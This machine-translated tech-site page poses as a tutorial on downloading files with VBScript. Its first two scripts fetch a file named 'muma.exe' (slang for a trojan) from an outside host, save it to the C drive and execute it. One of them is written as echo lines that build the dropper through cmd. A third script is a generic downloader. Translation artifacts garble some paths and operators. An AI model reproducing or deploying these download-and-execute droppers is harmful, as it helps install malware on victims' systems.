In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-09-19 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Development >
Share
Shulou(Shulou.com)06/03 Report--
This article mainly introduces how to achieve file download through vbscript, has a certain reference value, interested friends can refer to, I hope you can learn a lot after reading this article, the following let Xiaobian take you to understand it.
1. VBS downloaders:
The code is as follows:
Set Post = CreateObject ("Msxml2.XMLHTTP")
Set Shell = CreateObject ("Wscript.Shell")
Post.Open "GET", "http://www.jbzj.com/muma.exe",0"
Post.Send ()
Set aGet = CreateObject ("ADODB.Stream")
AGet.Mode = 3
AGet.Type = 1
AGet.Open ()
AGet.Write (Post.responseBody)
AGet.SaveToFile "c:\ zl.exe", 2
Wscript.sleep 1000
Shell.Run ("c:\ zl.exe") 'executes the download file after delay
2. The version executed under cmd:
The code is as follows:
Echo Set Post = CreateObject ("Msxml2.XMLHTTP") > > zl.vbs
Echo Set Shell = CreateObject ("Wscript.Shell") > > zl.vbs
Echo Post.Open "GET", "http://www.jbzj.com/muma.exe",0 > > zl.vbs
Echo Post.Send () > > zl.vbs
Echo Set aGet = CreateObject ("ADODB.Stream") > > zl.vbs
Echo aGet.Mode = 3 > > zl.vbs
Echo aGet.Type = 1 > > zl.vbs
Echo aGet.Open () > > zl.vbs
Echo aGet.Write (Post.responseBody) > > zl.vbs
Echo aGet.SaveToFile "c:\ zl.exe", 2 > > zl.vbs
Echo wscript.sleep 1000 > > zl.vbs
Echo Shell.Run ("c:\ zl.exe") > > zl.vbs
III. Wget.vbs
The code is as follows:
On error resume next
ILocal=LCase (Wscript.Arguments (1))
IRemote=LCase (Wscript.Arguments (0))
IUser=LCase (Wscript.Arguments (2))
IPass=LCase (Wscript.Arguments (3))
Set xPost=CreateObject ("Microsoft.XMLHTTP")
If iUser= "" and iPass= "" then
XPost.Open "GET", iRemote,0
Else
XPost.Open "GET", iRemote,0,iUser,iPass
End if
XPost.Send ()
Set sGet=CreateObject ("ADODB.Stream")
SGet.Mode=3
SGet.Type=1
SGet.Open ()
SGet.Write xPost.ResponseBody
SGet.SaveToFile iLocal,2
Thank you for reading this article carefully. I hope the article "how to download files through vbscript" shared by the editor will be helpful to everyone. At the same time, I also hope you can support us and pay attention to the industry information channel. More related knowledge is waiting for you to learn!
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
The market share of Chrome browser on the desktop has exceeded 70%, and users are complaining about
The world's first 2nm mobile chip: Samsung Exynos 2600 is ready for mass production.According to a r
A US federal judge has ruled that Google can keep its Chrome browser, but it will be prohibited from
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
About us Contact us Product review car news thenatureplanet
More Form oMedia: AutoTimes. Bestcoffee. SL News. Jarebook. Coffee Hunters. Sundaily. Modezone. NNB. Coffee. Game News. FrontStreet. GGAMEN
© 2024 shulou.com SLNews company. All rights reserved.